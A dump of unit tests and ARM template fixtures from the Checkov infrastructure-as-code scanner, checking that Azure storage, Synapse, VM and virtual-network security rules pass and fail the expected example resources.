    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.StorageAccountLoggingQueueServiceEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestStorageAccountLoggingQueueServiceEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_StorageAccountLoggingQueueServiceEnabled\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_StorageAccountMinimumTlsVersion.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.StorageAccountMinimumTlsVersion import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestStorageAccountMinimumTlsVersion(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_StorageAccountMinimumTlsVersion\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_StorageAccountName.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.StorageAccountName import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestStorageAccountName(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_StorageAccountName\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Storage/storageAccounts.storageaccountname\",\n            \"Microsoft.Storage/storageAccounts.1234567890\",\n        }\n        failing_resources = {\n            \"Microsoft.Storage/storageAccounts.thisIsWrong\",\n            \"Microsoft.Storage/storageAccounts.this-is-wrong\",\n            \"Microsoft.Storage/storageAccounts.thisiswayyyyyytoooloooong\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_StorageAccountsTransportEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.StorageAccountsTransportEncryption import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestStorageAccountsTransportEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_StorageAccountsTransportEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 3)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_StorageAccountsUseReplication.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.StorageAccountsUseReplication import check\nfrom checkov.arm.runner import Runner\n\n\nclass TestStorageAccountsUseReplication(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_StorageAccountsUseReplication\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Storage/storageAccounts.pass\",\n            \"Microsoft.Storage/storageAccounts.pass2\",\n        }\n        failing_resources = {\n            \"Microsoft.Storage/storageAccounts.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_StorageBlobServiceContainerPrivateAccess.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.StorageBlobServiceContainerPrivateAccess import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestStorageBlobServiceContainerPrivateAccess(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_StorageBlobServiceContainerPrivateAccess\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_StorageSyncPublicAccessDisabled.py",
    "content": "import unittest\nfrom pathlib import Path\nfrom checkov.arm.checks.resource.StorageSyncPublicAccessDisabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestStorageSyncPublicAccessDisabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_StorageSyncPublicAccessDisabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.StorageSync/storageSyncServices.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.StorageSync/storageSyncServices.fail1\",\n            \"Microsoft.StorageSync/storageSyncServices.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SynapseWorkspaceAdministratorLoginPasswordHidden.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.SynapseWorkspaceAdministratorLoginPasswordHidden import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSynapseWorkspaceAdministratorLoginPasswordHidden(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SynapseWorkspaceAdministratorLoginPasswordHidden\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SynapseWorkspaceCMKEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.SynapseWorkspaceCMKEncryption import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSynapseWorkspaceCMKEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SynapseWorkspaceCMKEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/arm/checks/resource/test_SynapseWorkspaceEnablesDataExfilProtection.py",
    "content": "import logging\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.SynapseWorkspaceEnablesDataExfilProtection import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSynapseWorkspaceEnablesDataExfilProtection(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SynapseWorkspaceEnablesDataExfilProtection\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Synapse/workspaces.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Synapse/workspaces.fail1\",\n            \"Microsoft.Synapse/workspaces.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 3)  # 3 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SynapseWorkspaceEnablesManagedVirtualNetworks.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.SynapseWorkspaceEnablesManagedVirtualNetworks import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSynapseWorkspaceEnablesManagedVirtualNetworks(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SynapseWorkspaceEnablesManagedVirtualNetworks\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Synapse/workspaces.pass\",\n        }\n\n        failing_resources = {\n            \"Microsoft.Synapse/workspaces.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_VMCredsInCustomData.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.VMCredsInCustomData import check\nfrom checkov.arm.runner import Runner\n\n\nclass TestVMCredsInCustomData(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_VMCredsInCustomData\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Compute/virtualMachines.pass-no-secret\",\n            \"Microsoft.Compute/virtualMachines.pass-no-custom-date\",\n            \"Microsoft.Compute/virtualMachines.pass-empty-os-profile\",\n            \"Microsoft.Compute/virtualMachines.pass-no-os-profile\",\n        }\n        failing_resources = {\n            \"Microsoft.Compute/virtualMachines.fail-secret\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_VMDisablePasswordAuthentication.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.VMDisablePasswordAuthentication import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestVMDisablePasswordAuthentication(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_VMDisablePasswordAuthentication\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Compute/virtualMachineScaleSets.passed\",\n            \"Microsoft.Compute/virtualMachines.passed\"\n        }\n        failing_resources = {\n            \"Microsoft.Compute/virtualMachineScaleSets.failed\",\n            \"Microsoft.Compute/virtualMachines.failed\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\n"
  },
  {
    "path": "tests/arm/checks/resource/test_VMEncryptionAtHostEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.VMEncryptionAtHostEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestVMEncryptionAtHostEnabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_VMEncryptionAtHostEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Compute/virtualMachines.pass\",\n            \"Microsoft.Compute/virtualMachineScaleSets.pass\"\n        }\n        failing_resources = {\n            \"Microsoft.Compute/virtualMachines.fail\",\n            \"Microsoft.Compute/virtualMachines.fail2\",\n            \"Microsoft.Compute/virtualMachineScaleSets.fail\",\n            \"Microsoft.Compute/virtualMachineScaleSets.fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_VMScaleSetsAutoOSImagePatchingEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.VMScaleSetsAutoOSImagePatchingEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestVMScaleSetsAutoOSImagePatchingEnabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_VMScaleSetsAutoOSImagePatchingEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Compute/virtualMachineScaleSets.pass\",\n            \"Microsoft.Compute/virtualMachineScaleSets.pass-windows\",\n        }\n        failing_resources = {\n            \"Microsoft.Compute/virtualMachineScaleSets.fail\",\n            \"Microsoft.Compute/virtualMachineScaleSets.fail2\",\n            \"Microsoft.Compute/virtualMachineScaleSets.fail-windows\",\n            \"Microsoft.Compute/virtualMachineScaleSets.fail-windows2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_VMStorageOsDisk.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.VMStorageOsDisk import check\nfrom checkov.arm.runner import Runner\n\n\nclass TestVMStorageOsDisk(unittest.TestCase):\n\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_VMStorageOsDisk\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Compute/virtualMachines.pass-linux\",\n            \"Microsoft.Compute/virtualMachines.pass-windows\",\n        }\n        failing_resources = {\n            \"Microsoft.Compute/virtualMachines.fail-linux\",\n            \"Microsoft.Compute/virtualMachines.fail-windows\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 4)  # 3 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_VnetLocalDNS.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.VnetLocalDNS import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestVnetLocalDNS(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_VnetLocalDNS\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Network/virtualNetworks.pass\",\n            \"Microsoft.Network/virtualNetworks.pass2\",\n        }\n        failing_resources = {\n            \"Microsoft.Network/virtualNetworks.fail\",\n            \"Microsoft.Network/virtualNetworks.fail2\",\n            \"Microsoft.Network/virtualNetworks.fail3\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n"
  },
  {
    "path": "tests/arm/checks/resource/test_VnetSingleDNSServer.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.VnetSingleDNSServer import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestVnetSingleDNSServer(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_VnetSingleDNSServer\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Network/networkInterfaces.pass\",\n            \"Microsoft.Network/networkInterfaces.pass2\",\n            \"Microsoft.Network/networkInterfaces.pass3\",\n            \"Microsoft.Network/virtualNetworks.pass4\"\n        }\n        failing_resources = {\n            \"Microsoft.Network/networkInterfaces.fail\",\n            \"Microsoft.Network/networkInterfaces.fail2\",\n            \"Microsoft.Network/virtualNetworks.fail3\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_WinVMAutomaticUpdates.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.WinVMAutomaticUpdates import check\nfrom checkov.arm.runner import Runner\n\n\nclass TestWinVMAutomaticUpdates(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_WinVMAutomaticUpdates\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Compute/virtualMachines.pass\",\n            \"Microsoft.Compute/virtualMachineScaleSets.pass\",\n            \"Microsoft.Compute/virtualMachines.missing\",\n            \"Microsoft.Compute/virtualMachineScaleSets.missing\"\n        }\n        failing_resources = {\n            \"Microsoft.Compute/virtualMachines.fail\",\n            \"Microsoft.Compute/virtualMachineScaleSets.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_WinVMEncryptionAtHost.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.WinVMEncryptionAtHost import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestWinVMEncryptionAtHost(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_WinVMEncryptionAtHost\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Compute/virtualMachines.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Compute/virtualMachines.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_wildcard_entities.py",
    "content": "import os\nimport unittest\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.arm.registry import arm_resource_registry as registry\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass ArmCheck(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Arm test\"\n        id = \"CKV_T_1\"\n        supported_resources = ['Microsoft.KeyVault/vaults*', '*servers*']\n        categories = [CheckCategories.SECRETS]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        return CheckResult.PASSED\n\n\nclass TestWildcardEntities(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        check = ArmCheck()\n\n        test_files_dir = current_dir + \"/example_WildcardEntities\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        registry.wildcard_checks['Microsoft.KeyVault/vaults*'].remove(check)\n        registry.wildcard_checks['*servers*'].remove(check)\n\n        # Only for resource and nof for data \"aws_iam_policy_document\"\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/examples/ExplicitDepsResources/interface.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n      {\n        \"type\": \"Microsoft.Network/publicIPAddresses\",\n        \"apiVersion\": \"2020-06-01\",\n        \"name\": \"PublicIP1\",\n        \"location\": \"westus\",\n        \"properties\": {\n          \"publicIPAllocationMethod\": \"Dynamic\"\n        }\n      },\n      {\n        \"type\": \"Microsoft.Network/networkInterfaces\",\n        \"apiVersion\": \"2020-06-01\",\n        \"name\": \"NIC1\",\n        \"location\": \"westus\",\n        \"dependsOn\": [\n          \"Microsoft.Network/virtualNetworks/VNet1/subnets/Subnet1\",\n          \"Microsoft.Network/publicIPAddresses/PublicIP1\"\n        ],\n        \"properties\": {\n          \"ipConfigurations\": [\n            {\n              \"name\": \"ipconfig1\",\n              \"properties\": {\n                \"subnet\": {\n                  \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', 'VNet1', 'Subnet1')]\"\n                },\n                \"privateIPAllocationMethod\": \"Dynamic\",\n                \"publicIPAddress\": {\n                  \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', 'PublicIP1')]\"\n                }\n              }\n            }\n          ]\n        }\n      }\n    ]\n  }"
  },
  {
    "path": "tests/arm/examples/ExplicitDepsResources/storage.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n      {\n        \"type\": \"Microsoft.Network/storageAccounts\",\n        \"apiVersion\": \"2019-06-01\",\n        \"name\": \"storaccount1\",\n        \"location\": \"westus\",\n        \"sku\": {\n          \"name\": \"Standard_LRS\"\n        },\n        \"kind\": \"StorageV2\",\n        \"properties\": {}\n      },\n      {\n        \"type\": \"Microsoft.Compute/virtualMachines\",\n        \"apiVersion\": \"2019-12-01\",\n        \"name\": \"VM1\",\n        \"location\": \"westus\",\n        \"dependsOn\": [\n          \"Microsoft.Network/virtualNetworks/VNet1/subnets/Subnet1\",\n          \"Microsoft.Network/storageAccounts/storaccount1\"\n        ],\n        \"properties\": {\n          \"hardwareProfile\": {\n            \"vmSize\": \"Standard_D2s_v3\"\n          },\n          \"storageProfile\": {\n            \"imageReference\": {\n              \"publisher\": \"MicrosoftWindowsServer\",\n              \"offer\": \"WindowsServer\",\n              \"sku\": \"2019-Datacenter\",\n              \"version\": \"latest\"\n            },\n            \"osDisk\": {\n              \"createOption\": \"FromImage\"\n            },\n            \"dataDisks\": []\n          },\n          \"osProfile\": {\n            \"computerName\": \"vm1\",\n            \"adminUsername\": \"adminuser\",\n            \"adminPassword\": \"123!\"\n          },\n          \"networkProfile\": {\n            \"networkInterfaces\": [\n              {\n                \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', 'nic1')]\"\n              }\n            ]\n          }\n        }\n      }\n    ]\n  }"
  },
  {
    "path": "tests/arm/examples/ExplicitDepsResources/subnet.json",
